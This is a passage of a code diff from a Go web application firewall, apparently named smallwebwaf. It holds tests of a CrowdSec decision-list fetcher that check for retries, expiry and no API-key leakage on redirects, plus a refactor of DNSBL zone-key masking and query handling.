|
// Each failure is tried again a minute after it.
|
||||||
|
for range 2 {
|
||||||
|
time.Sleep(time.Minute)
|
||||||
|
synctest.Wait()
|
||||||
|
}
|
||||||
|
|
||||||
|
wantEngineFetches(t, e, 3)
|
||||||
|
wantDecision(
|
||||||
|
t,
|
||||||
|
lists,
|
||||||
|
suspect,
|
||||||
|
reputation.Decision{
|
||||||
|
Expires: began.Add(4 * time.Hour),
|
||||||
|
Scenario: sshBF,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
|
want := kept[0]
|
||||||
|
want.Tried = time.Now()
|
||||||
|
|
||||||
|
got := lists.Snapshot()
|
||||||
|
if !reflect.DeepEqual(got, []reputation.List{want}) {
|
||||||
|
t.Errorf(
|
||||||
|
"lists %+v, want the first copy, last tried now, %+v",
|
||||||
|
got,
|
||||||
|
want,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
if n := lists.Failures(decisionsURL); n != 2 {
|
||||||
|
t.Errorf("%d failures, want 2", n)
|
||||||
|
}
|
||||||
|
|
||||||
|
// One alert for the first failure; the cooldown holds back the
|
||||||
|
// second.
|
||||||
|
failed := time.Now().Add(-time.Minute)
|
||||||
|
alert := fetchFailure(failed, decisionsURL, tc.error)
|
||||||
|
wantAlert(t, queue, alert)
|
||||||
|
|
||||||
|
if !strings.Contains(
|
||||||
|
log.String(),
|
||||||
|
`"msg":"fetching a list failed",`+
|
||||||
|
`"url":"`+decisionsURL+`","error":"`+tc.error,
|
||||||
|
) {
|
||||||
|
t.Errorf("logged\n%s\nwant the failures", log.String())
|
||||||
|
}
|
||||||
|
|
||||||
|
wantKeyNotShown(t, e, log.String(), lists, queue)
|
||||||
|
})
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// crowdSecFailure is a way for the engine to fail: fail has it answer the
|
||||||
|
// fetches after the first so that they fail with error.
|
||||||
|
type crowdSecFailure struct {
|
||||||
|
name string
|
||||||
|
fail func(e *engine)
|
||||||
|
error string
|
||||||
|
}
|
||||||
|
|
||||||
|
// crowdSecFailures returns the ways the engine can fail.
|
||||||
|
func crowdSecFailures() []crowdSecFailure {
|
||||||
|
const notDecision = " does not give an address or a netblock and a duration, " +
|
||||||
|
"such as 4h0m0s"
|
||||||
|
|
||||||
|
return []crowdSecFailure{
|
||||||
|
{
|
||||||
|
"an answer other than 200",
|
||||||
|
func(e *engine) { e.failing = true },
|
||||||
|
"the server answered 503 Service Unavailable",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"a key the engine refuses",
|
||||||
|
func(e *engine) { e.key = "another-key-0123456789abcdef" },
|
||||||
|
"the server answered 403 Forbidden",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"a redirect",
|
||||||
|
func(e *engine) { e.redirect = "http://elsewhere.example/v1/decisions" },
|
||||||
|
"the server answered 302 Found",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"an answer that does not read",
|
||||||
|
func(e *engine) { e.answer = "<html>" },
|
||||||
|
"read the answer: invalid character '<' looking for beginning of value",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"a decision to ban whose value does not read",
|
||||||
|
func(e *engine) {
|
||||||
|
e.answer = `[{"duration": "4h", "scenario": "` + sshBF + `", ` +
|
||||||
|
`"scope": "Ip", "type": "ban", "value": "203.0.113.300"}]`
|
||||||
|
},
|
||||||
|
"decision 1" + notDecision,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"a decision to ban whose duration does not read",
|
||||||
|
func(e *engine) {
|
||||||
|
e.answer = `[{"duration": "4h", "scope": "Country", "type": "ban", ` +
|
||||||
|
`"value": "KP"}, {"duration": "four hours", "scope": "Range", ` +
|
||||||
|
`"type": "ban", "value": "198.51.100.0/24"}]`
|
||||||
|
},
|
||||||
|
"decision 2" + notDecision,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// wantKeyNotShown checks that no fetch carried the engine's key to a URL
|
||||||
|
// other than its decision list, such as the one a redirect names, and that
|
||||||
|
// the key is in none of what the fetches leave behind: log, the process
|
||||||
|
// log, the alerts waiting in queue, and the copies of lists, which
|
||||||
|
// lists.json keeps.
|
||||||
|
func wantKeyNotShown(
|
||||||
|
t *testing.T,
|
||||||
|
e *engine,
|
||||||
|
log string,
|
||||||
|
lists *reputation.Lists,
|
||||||
|
queue *alerts.Queue,
|
||||||
|
) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
e.mu.Lock()
|
||||||
|
keySentTo := e.keySentTo
|
||||||
|
e.mu.Unlock()
|
||||||
|
|
||||||
|
if len(keySentTo) != 0 {
|
||||||
|
t.Errorf("the key was sent to %v", keySentTo)
|
||||||
|
}
|
||||||
|
|
||||||
|
shown, err := json.Marshal([]any{lists.Snapshot(), waiting(queue)})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("encode: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if strings.Contains(log+string(shown), engineKey) {
|
||||||
|
t.Errorf("the key is shown in\n%s\n%s", log, shown)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
synctest.Test(t, func(t *testing.T) {
|
||||||
|
began := time.Now()
|
||||||
|
e := &engine{key: engineKey, decisions: []decision{
|
||||||
|
{
|
||||||
|
rangeScope,
|
||||||
|
"198.51.100.0/24",
|
||||||
|
ban,
|
||||||
|
probing,
|
||||||
|
began.Add(time.Hour),
|
||||||
|
},
|
||||||
|
}}
|
||||||
|
lists := start(t, e, crowdSecParams())
|
||||||
|
kept := lists.Snapshot()
|
||||||
|
|
||||||
|
// Restarted half an hour later with what lists.json keeps, and
|
||||||
|
// the engine down, the decision still bans, until the end it had at
|
||||||
|
// the fetch, half an hour on.
|
||||||
|
time.Sleep(30 * time.Minute)
|
||||||
|
|
||||||
|
down := &engine{key: engineKey, failing: true}
|
||||||
|
again := reputation.New(crowdSecParams())
|
||||||
|
again.SetTransport(down)
|
||||||
|
|
||||||
|
err := again.Load(kept)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("load: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
run(t, again)
|
||||||
|
|
||||||
|
want := reputation.Decision{
|
||||||
|
Expires: began.Add(time.Hour),
|
||||||
|
Scenario: probing,
|
||||||
|
}
|
||||||
|
wantDecision(t, again, "198.51.100.7", want)
|
||||||
|
|
||||||
|
time.Sleep(30*time.Minute - time.Nanosecond)
|
||||||
|
synctest.Wait()
|
||||||
|
wantDecision(t, again, "198.51.100.7", want)
|
||||||
|
|
||||||
|
time.Sleep(time.Nanosecond)
|
||||||
|
synctest.Wait()
|
||||||
|
wantDecision(t, again, "198.51.100.7", reputation.Decision{})
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestLoadTakesACrowdSecListNeverFetchedAndRefusesACopyThatDoesNotRead(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
now := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
|
||||||
|
lists := reputation.New(crowdSecParams())
|
||||||
|
|
||||||
|
// Tried, and never fetched: there is no copy to read.
|
||||||
|
err := lists.Load([]reputation.List{{URL: decisionsURL, Tried: now}})
|
||||||
|
if err != nil {
|
||||||
|
t.Errorf("load the list never fetched: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
err = lists.Load([]reputation.List{{
|
||||||
|
URL: decisionsURL, Tried: now, Fetched: now, Lines: []string{
|
||||||
|
`[{"duration": "4h", "scope": "Range", "type": "ban", ` +
|
||||||
|
`"value": "198.51.100.0/33"}]`,
|
||||||
|
},
|
||||||
|
}})
|
||||||
|
|
||||||
|
const want = "the copy of " + decisionsURL + ": decision 1 does not give an " +
|
||||||
|
"address or a netblock and a duration, such as 4h0m0s"
|
||||||
|
if err == nil || err.Error() != want {
|
||||||
|
t.Errorf("error %v, want %s", err, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// engine is a stand-in for the local API of a CrowdSec engine. It answers
|
||||||
|
// a fetch of the decision list that carries its key in X-Api-Key with its
|
||||||
|
// decisions still in force, each with the time it has left as it answers,
|
||||||
|
// by the bubble's clock, as an engine does, or with answer while that is
|
||||||
|
// not "". It answers 403 to a fetch without its key, as an engine does,
|
||||||
|
// with a redirect to redirect while that is not "", and 503 while failing.
|
||||||
|
// It counts the fetches, and notes in keySentTo the URL of each fetch of
|
||||||
|
// another URL that carries a key, as one following a redirect would.
|
||||||
|
type engine struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
key string
|
||||||
|
decisions []decision
|
||||||
|
answer string
|
||||||
|
redirect string
|
||||||
|
failing bool
|
||||||
|
fetches int
|
||||||
|
keySentTo []string
|
||||||
|
}
|
||||||
|
|
||||||
|
// decision is a decision of the engine, which ends at expires.
|
||||||
|
type decision struct {
|
||||||
|
scope, value, kind, scenario string
|
||||||
|
expires time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
// RoundTrip has the engine answer req, in place of the network.
|
||||||
|
func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||||
|
e.mu.Lock()
|
||||||
|
defer e.mu.Unlock()
|
||||||
|
|
||||||
|
e.fetches++
|
||||||
|
|
||||||
|
if req.URL.String() != decisionsURL &&
|
||||||
|
req.Header.Get("X-Api-Key") != "" {
|
||||||
|
e.keySentTo = append(e.keySentTo, req.URL.String())
|
||||||
|
}
|
||||||
|
|
||||||
|
status, header, body := http.StatusOK, http.Header{}, e.answer
|
||||||
|
|
||||||
|
switch {
|
||||||
|
case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
|
||||||
|
status, body = http.StatusForbidden, `{"message":"access forbidden"}`
|
||||||
|
case e.redirect != "":
|
||||||
|
status, header = http.StatusFound, http.Header{
|
||||||
|
"Location": {e.redirect},
|
||||||
|
}
|
||||||
|
case e.failing:
|
||||||
|
status, body = http.StatusServiceUnavailable, ""
|
||||||
|
case body == "":
|
||||||
|
body = e.inForce(time.Now())
|
||||||
|
}
|
||||||
|
|
||||||
|
return &http.Response{
|
||||||
|
StatusCode: status,
|
||||||
|
Status: fmt.Sprintf("%d %s", status, http.StatusText(status)),
|
||||||
|
Header: header,
|
||||||
|
Body: io.NopCloser(strings.NewReader(body)),
|
||||||
|
Request: req,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// inForce returns the decisions in force at now, as the engine answers
|
||||||
|
// them: a JSON list, null for none.
|
||||||
|
func (e *engine) inForce(now time.Time) string {
|
||||||
|
var answer []map[string]string
|
||||||
|
|
||||||
|
for _, d := range e.decisions {
|
||||||
|
if now.Before(d.expires) {
|
||||||
|
answer = append(answer, map[string]string{
|
||||||
|
"duration": d.expires.Sub(now).
|
||||||
|
String(),
|
||||||
|
"origin": "crowdsec",
|
||||||
|
"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
body, err := json.Marshal(answer)
|
||||||
|
if err != nil {
|
||||||
|
panic(err) // a list of maps of strings always encodes
|
||||||
|
}
|
||||||
|
|
||||||
|
return string(body)
|
||||||
|
}
|
||||||
|
|
||||||
|
// set changes the engine with change.
|
||||||
|
func (e *engine) set(change func(e *engine)) {
|
||||||
|
e.mu.Lock()
|
||||||
|
defer e.mu.Unlock()
|
||||||
|
|
||||||
|
change(e)
|
||||||
|
}
|
||||||
|
|
||||||
|
// crowdSecParams returns the Params of the decision list of the tests'
|
||||||
|
// engine, fetched with its key, by the bubble's clock, with alerts to a
|
||||||
|
// queue that sends none.
|
||||||
|
func crowdSecParams() reputation.Params {
|
||||||
|
p := params()
|
||||||
|
p.CrowdSecDecisionsURL = decisionsURL
|
||||||
|
p.CrowdSecKey = engineKey
|
||||||
|
|
||||||
|
return p
|
||||||
|
}
|
||||||
|
|
||||||
|
// wantEngineFetches waits until Run has made the fetches due, and checks
|
||||||
|
// how many the engine has had.
|
||||||
|
func wantEngineFetches(t *testing.T, e *engine, want int) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
synctest.Wait()
|
||||||
|
|
||||||
|
e.mu.Lock()
|
||||||
|
got := e.fetches
|
||||||
|
e.mu.Unlock()
|
||||||
|
|
||||||
|
if got != want {
|
||||||
|
t.Errorf("%d fetches, want %d", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// wantDecision checks the decision lists says is in force on addr now,
|
||||||
|
// the zero Decision for none.
|
||||||
|
func wantDecision(
|
||||||
|
t *testing.T,
|
||||||
|
lists *reputation.Lists,
|
||||||
|
addr string,
|
||||||
|
want reputation.Decision,
|
||||||
|
) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
got, listed := lists.CrowdSecDecision(
|
||||||
|
netip.MustParseAddr(addr),
|
||||||
|
time.Now(),
|
||||||
|
)
|
||||||
|
if listed != !want.Expires.IsZero() ||
|
||||||
|
listed &&
|
||||||
|
(!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
|
||||||
|
t.Errorf(
|
||||||
|
"%s has the decision %+v in force %t, want %+v",
|
||||||
|
addr,
|
||||||
|
got,
|
||||||
|
listed,
|
||||||
|
want,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -16,6 +16,7 @@ import (
|
|||||||
|
|
||||||
"github.com/hashicorp/golang-lru/v2/simplelru"
|
"github.com/hashicorp/golang-lru/v2/simplelru"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -31,8 +32,6 @@ const (
|
|||||||
// it fails, and no client is checked with AbuseIPDB after a check
|
// it fails, and no client is checked with AbuseIPDB after a check
|
||||||
// fails, so that a source refusing them is not asked on every request.
|
// fails, so that a source refusing them is not asked on every request.
|
||||||
failureDelay = time.Minute
|
failureDelay = time.Minute
|
||||||
// maskedKey is what MaskZoneKey shows in place of a zone's key.
|
|
||||||
maskedKey = "********"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@@ -61,8 +60,8 @@ type DNSBLParams struct {
|
|||||||
// host's, as /etc/resolv.conf names it.
|
// host's, as /etc/resolv.conf names it.
|
||||||
Resolver netip.AddrPort
|
Resolver netip.AddrPort
|
||||||
// CacheTTL is how long a verdict is used after it was fetched
|
// CacheTTL is how long a verdict is used after it was fetched
|
||||||
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and Timeout how long a query may
|
// (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a query may take
|
||||||
// take (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS).
|
// (SWW_WAF_REPUTATION_TIMEOUT).
|
||||||
CacheTTL time.Duration
|
CacheTTL time.Duration
|
||||||
Timeout time.Duration
|
Timeout time.Duration
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
@@ -83,12 +82,8 @@ type DNSBL struct {
|
|||||||
// verdicts are by query. Each is added as it is fetched and never moved
|
// verdicts are by query. Each is added as it is fetched and never moved
|
||||||
// up, so that the one fetched longest ago is the first dropped.
|
// up, so that the one fetched longest ago is the first dropped.
|
||||||
verdicts *simplelru.LRU[query, Verdict]
|
verdicts *simplelru.LRU[query, Verdict]
|
||||||
// asking are the queries under way, each with the function that ends
|
// asking are the queries under way.
|
||||||
// it. stopped is true once StopAsking has been called, and
|
asking map[query]bool
|
||||||
// queryGoroutines waits for the goroutine of each query.
|
|
||||||
asking map[query]context.CancelFunc
|
|
||||||
stopped bool
|
|
||||||
queryGoroutines sync.WaitGroup
|
|
||||||
// queries and failures count, by zone, the queries made and those that
|
// queries and failures count, by zone, the queries made and those that
|
||||||
// failed, and retryAt is when a zone whose last query failed may be
|
// failed, and retryAt is when a zone whose last query failed may be
|
||||||
// asked again.
|
// asked again.
|
||||||
@@ -125,31 +120,13 @@ func NewDNSBL(params DNSBLParams) *DNSBL {
|
|||||||
params: params,
|
params: params,
|
||||||
resolver: resolver,
|
resolver: resolver,
|
||||||
verdicts: verdicts,
|
verdicts: verdicts,
|
||||||
asking: map[query]context.CancelFunc{},
|
asking: map[query]bool{},
|
||||||
queries: map[string]int{},
|
queries: map[string]int{},
|
||||||
failures: map[string]int{},
|
failures: map[string]int{},
|
||||||
retryAt: map[string]time.Time{},
|
retryAt: map[string]time.Time{},
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// MaskZoneKey returns zone with ******** in place of its key, if it is a
|
|
||||||
// zone of Spamhaus's keyed query service, a name under dq.spamhaus.net,
|
|
||||||
// such as <key>.xbl.dq.spamhaus.net, whose first label is the key. Any
|
|
||||||
// other zone it returns as it is. A zone is shown so wherever it leaves
|
|
||||||
// the process: in the log, the alerts and the metrics.
|
|
||||||
func MaskZoneKey(zone string) string {
|
|
||||||
// DNS names ignore case, and a name may be written with a dot at its
|
|
||||||
// end.
|
|
||||||
name := strings.TrimSuffix(strings.ToLower(zone), ".")
|
|
||||||
if !strings.HasSuffix(name, ".dq.spamhaus.net") {
|
|
||||||
return zone
|
|
||||||
}
|
|
||||||
|
|
||||||
_, rest, _ := strings.Cut(zone, ".")
|
|
||||||
|
|
||||||
return maskedKey + "." + rest
|
|
||||||
}
|
|
||||||
|
|
||||||
// Zones returns the zones, in the order SWW_WAF_DNSBL_ZONES names them.
|
// Zones returns the zones, in the order SWW_WAF_DNSBL_ZONES names them.
|
||||||
func (d *DNSBL) Zones() []string {
|
func (d *DNSBL) Zones() []string {
|
||||||
return slices.Clone(d.params.Zones)
|
return slices.Clone(d.params.Zones)
|
||||||
@@ -157,14 +134,13 @@ func (d *DNSBL) Zones() []string {
|
|||||||
|
|
||||||
// ListedBy returns the zones whose verdict on addr, a client's address,
|
// ListedBy returns the zones whose verdict on addr, a client's address,
|
||||||
// lists it, in the order SWW_WAF_DNSBL_ZONES names them, each with its key
|
// lists it, in the order SWW_WAF_DNSBL_ZONES names them, each with its key
|
||||||
// masked, as MaskZoneKey masks it, since they go to the request
|
// masked, as config.MaskZoneKey masks it, since they go to the request
|
||||||
// log, the alerts and the metrics. A verdict is used until CacheTTL has
|
// log, the alerts and the metrics. A verdict is used until CacheTTL has
|
||||||
// passed since it was fetched. Each zone without one is asked about addr
|
// passed since it was fetched. Each zone without one is asked about addr
|
||||||
// in the background, unless a query about addr to it is under way, the
|
// in the background, unless a query about addr to it is under way, the
|
||||||
// zone is left alone after a failure, maxQueries are under way, or
|
// zone is left alone after a failure, or maxQueries are under way;
|
||||||
// StopAsking has been called; ListedBy never waits for a query. ctx is the
|
// ListedBy never waits for a query. ctx is the context of the client's
|
||||||
// context of the client's request, and a query goes on after the request
|
// request, and a query goes on after the request ends.
|
||||||
// ends, until StopAsking.
|
|
||||||
func (d *DNSBL) ListedBy(ctx context.Context, addr netip.Addr) []string {
|
func (d *DNSBL) ListedBy(ctx context.Context, addr netip.Addr) []string {
|
||||||
d.mu.Lock()
|
d.mu.Lock()
|
||||||
defer d.mu.Unlock()
|
defer d.mu.Unlock()
|
||||||
@@ -177,47 +153,23 @@ func (d *DNSBL) ListedBy(ctx context.Context, addr netip.Addr) []string {
|
|||||||
q := query{zone: zone, client: addr}
|
q := query{zone: zone, client: addr}
|
||||||
|
|
||||||
kept, found := d.verdicts.Peek(q)
|
kept, found := d.verdicts.Peek(q)
|
||||||
_, asking := d.asking[q]
|
|
||||||
|
|
||||||
switch {
|
switch {
|
||||||
case found && now.Sub(kept.Fetched) < d.params.CacheTTL:
|
case found && now.Sub(kept.Fetched) < d.params.CacheTTL:
|
||||||
if kept.Listed {
|
if kept.Listed {
|
||||||
listedBy = append(listedBy, MaskZoneKey(zone))
|
listedBy = append(listedBy, config.MaskZoneKey(zone))
|
||||||
}
|
}
|
||||||
case !asking && !d.stopped && !now.Before(d.retryAt[zone]) &&
|
case !d.asking[q] && !now.Before(d.retryAt[zone]) && len(d.asking) < maxQueries:
|
||||||
len(d.asking) < maxQueries:
|
d.asking[q] = true
|
||||||
queryCtx, end := context.WithCancel(context.WithoutCancel(ctx))
|
|
||||||
d.asking[q] = end
|
|
||||||
d.queries[zone]++
|
d.queries[zone]++
|
||||||
|
|
||||||
d.queryGoroutines.Go(func() {
|
go d.ask(context.WithoutCancel(ctx), q)
|
||||||
defer end()
|
|
||||||
|
|
||||||
d.ask(queryCtx, q)
|
|
||||||
})
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return listedBy
|
return listedBy
|
||||||
}
|
}
|
||||||
|
|
||||||
// StopAsking ends the queries under way, and returns once their
|
|
||||||
// goroutines have. A query it ends gives no verdict and is no failure: it
|
|
||||||
// is neither counted, logged nor raised as an alert, and the zone is not
|
|
||||||
// left alone after it. After StopAsking, ListedBy asks no zone.
|
|
||||||
func (d *DNSBL) StopAsking() {
|
|
||||||
d.mu.Lock()
|
|
||||||
|
|
||||||
d.stopped = true
|
|
||||||
for _, end := range d.asking {
|
|
||||||
end()
|
|
||||||
}
|
|
||||||
|
|
||||||
d.mu.Unlock()
|
|
||||||
|
|
||||||
d.queryGoroutines.Wait()
|
|
||||||
}
|
|
||||||
|
|
||||||
// Queries returns how many queries were made to zone.
|
// Queries returns how many queries were made to zone.
|
||||||
func (d *DNSBL) Queries(zone string) int {
|
func (d *DNSBL) Queries(zone string) int {
|
||||||
d.mu.Lock()
|
d.mu.Lock()
|
||||||
@@ -286,32 +238,30 @@ func (d *DNSBL) Load(verdicts []Verdict) {
|
|||||||
// query as no longer under way. A query that fails gives no verdict: it
|
// query as no longer under way. A query that fails gives no verdict: it
|
||||||
// is counted, logged and raised as a source_failure alert, which show the
|
// is counted, logged and raised as a source_failure alert, which show the
|
||||||
// zone with its key masked, and the zone is not asked again for
|
// zone with its key masked, and the zone is not asked again for
|
||||||
// failureDelay. A query ended as ctx ends, by StopAsking, is no failure.
|
// failureDelay.
|
||||||
func (d *DNSBL) ask(ctx context.Context, q query) {
|
func (d *DNSBL) ask(ctx context.Context, q query) {
|
||||||
listed, err := d.lookUp(ctx, q)
|
listed, err := d.lookUp(ctx, q)
|
||||||
now := d.params.Now()
|
now := d.params.Now()
|
||||||
isFailure := err != nil && ctx.Err() == nil
|
|
||||||
|
|
||||||
d.mu.Lock()
|
d.mu.Lock()
|
||||||
|
|
||||||
delete(d.asking, q)
|
delete(d.asking, q)
|
||||||
|
|
||||||
switch {
|
if err == nil {
|
||||||
case err == nil:
|
|
||||||
d.verdicts.Add(q, Verdict{
|
d.verdicts.Add(q, Verdict{
|
||||||
Zone: q.zone, Client: q.client, Listed: listed, Fetched: now,
|
Zone: q.zone, Client: q.client, Listed: listed, Fetched: now,
|
||||||
})
|
})
|
||||||
case isFailure:
|
} else {
|
||||||
d.failures[q.zone]++
|
d.failures[q.zone]++
|
||||||
d.retryAt[q.zone] = now.Add(failureDelay)
|
d.retryAt[q.zone] = now.Add(failureDelay)
|
||||||
}
|
}
|
||||||
|
|
||||||
d.mu.Unlock()
|
d.mu.Unlock()
|
||||||
|
|
||||||
if isFailure {
|
if err != nil {
|
||||||
const failed = "asking a DNSBL zone failed"
|
const failed = "asking a DNSBL zone failed"
|
||||||
|
|
||||||
shown := MaskZoneKey(q.zone)
|
shown := config.MaskZoneKey(q.zone)
|
||||||
|
|
||||||
// Raised before it is logged, so that the alert is there once the
|
// Raised before it is logged, so that the alert is there once the
|
||||||
// log line is.
|
// log line is.
|
||||||
|
|||||||
@@ -31,22 +31,19 @@ import (
|
|||||||
// this package: Go's resolver counts the queries under way in one
|
// this package: Go's resolver counts the queries under way in one
|
||||||
// sync.WaitGroup for the whole process, and the process fails when
|
// sync.WaitGroup for the whole process, and the process fails when
|
||||||
// queries from two bubbles, or from a bubble and from outside one, are
|
// queries from two bubbles, or from a bubble and from outside one, are
|
||||||
// under way at once. The one test outside a bubble is parallel, so it
|
// under way at once. TestMain has the resolver make its configuration,
|
||||||
// starts only once every test that is not parallel has ended; no other
|
// which it makes on its first query, outside every bubble, since the
|
||||||
// parallel test of this package queries a resolver. TestMain has the
|
// configuration holds a channel, which the bubble it was made in would
|
||||||
// resolver make its configuration, which it makes on its first query,
|
// keep to itself.
|
||||||
// outside every bubble, since the configuration holds a channel, which
|
|
||||||
// the bubble it was made in would keep to itself.
|
|
||||||
|
|
||||||
const (
|
const (
|
||||||
// zone and otherZone are the DNSBL zones the tests name.
|
// zone and otherZone are the DNSBL zones the tests name.
|
||||||
zone = "dnsbl.example"
|
zone = "dnsbl.example"
|
||||||
otherZone = "other.example"
|
otherZone = "other.example"
|
||||||
// cacheTTL is the tests' SWW_WAF_IP_REPUTATION_CACHE_TTL, and timeout
|
// cacheTTL is the tests' SWW_WAF_REPUTATION_CACHE_TTL, and timeout their
|
||||||
// their SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS: a second, the least time
|
// SWW_WAF_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
|
||||||
// /etc/resolv.conf can have Go's resolver wait for one server, so that
|
// can have Go's resolver wait for one server, so that it is the
|
||||||
// it is the DNSBL's own timeout that ends a query, whatever that file
|
// DNSBL's own timeout that ends a query, whatever that file says.
|
||||||
// says.
|
|
||||||
cacheTTL = 24 * time.Hour
|
cacheTTL = 24 * time.Hour
|
||||||
timeout = time.Second
|
timeout = time.Second
|
||||||
// listed and unlisted are clients zone is asked about by the names
|
// listed and unlisted are clients zone is asked about by the names
|
||||||
@@ -210,45 +207,6 @@ func TestQueryNotAnsweredWithinTheTimeoutFails(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
//
|
|
||||||
//nolint:paralleltest // one at a time, as the comment at the top of this file says
|
|
||||||
func TestStopAskingEndsTheQueryUnderWayAsNoFailureAndAsksNoMore(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
queue := newQueue()
|
|
||||||
p := dnsblParams(zone)
|
|
||||||
p.Alerts = queue
|
|
||||||
resolver := &resolverStandIn{hanging: true}
|
|
||||||
dnsbl := newDNSBL(resolver, p)
|
|
||||||
|
|
||||||
wantZones(t, dnsbl, listed)
|
|
||||||
synctest.Wait()
|
|
||||||
|
|
||||||
// The query is ended, not waited out, and is no failure.
|
|
||||||
began := time.Now()
|
|
||||||
|
|
||||||
dnsbl.StopAsking()
|
|
||||||
|
|
||||||
if waited := time.Since(began); waited != 0 {
|
|
||||||
t.Errorf("StopAsking returned after %s, want at once", waited)
|
|
||||||
}
|
|
||||||
|
|
||||||
wantQueries(t, dnsbl, 1, 0)
|
|
||||||
|
|
||||||
if got := waiting(queue); len(got) != 0 {
|
|
||||||
t.Errorf("alerts waiting %+v, want none", got)
|
|
||||||
}
|
|
||||||
|
|
||||||
// A client without a verdict is then asked about in no zone.
|
|
||||||
wantZones(t, dnsbl, unlisted)
|
|
||||||
synctest.Wait()
|
|
||||||
wantQueries(t, dnsbl, 1, 0)
|
|
||||||
wantAsked(t, resolver, listedName)
|
|
||||||
waitForTheResolver()
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
//
|
//
|
||||||
//nolint:paralleltest // one at a time, as the comment at the top of this file says
|
//nolint:paralleltest // one at a time, as the comment at the top of this file says
|
||||||
func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(
|
func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(
|
||||||
@@ -566,9 +524,8 @@ func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//nolint:paralleltest // one at a time, as the comment at the top of this file says
|
||||||
func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
|
func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
resolver := &resolverStandIn{answers: map[string]answer{
|
resolver := &resolverStandIn{answers: map[string]answer{
|
||||||
listedName: {addrs: []string{listing}},
|
listedName: {addrs: []string{listing}},
|
||||||
}}
|
}}
|
||||||
@@ -860,28 +817,3 @@ func wantAsked(t *testing.T, resolver *resolverStandIn, want ...string) {
|
|||||||
t.Errorf("asked about %v, want %v", got, want)
|
t.Errorf("asked about %v, want %v", got, want)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestMaskZoneKeyMasksTheFirstLabelOfAZoneUnderDqSpamhausNet(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const (
|
|
||||||
dronebl = "dnsbl.dronebl.org"
|
|
||||||
spamhaus = "abcdefghijklmnopqrstuvwxyz.xbl.dq.spamhaus.net"
|
|
||||||
spamhausMasked = "********.xbl.dq.spamhaus.net"
|
|
||||||
)
|
|
||||||
|
|
||||||
for zone, want := range map[string]string{
|
|
||||||
spamhaus: spamhausMasked,
|
|
||||||
spamhaus + ".": spamhausMasked + ".",
|
|
||||||
"KEY.ZEN.DQ.SPAMHAUS.NET": "********.ZEN.DQ.SPAMHAUS.NET",
|
|
||||||
dronebl: dronebl,
|
|
||||||
"dq.spamhaus.net": "dq.spamhaus.net",
|
|
||||||
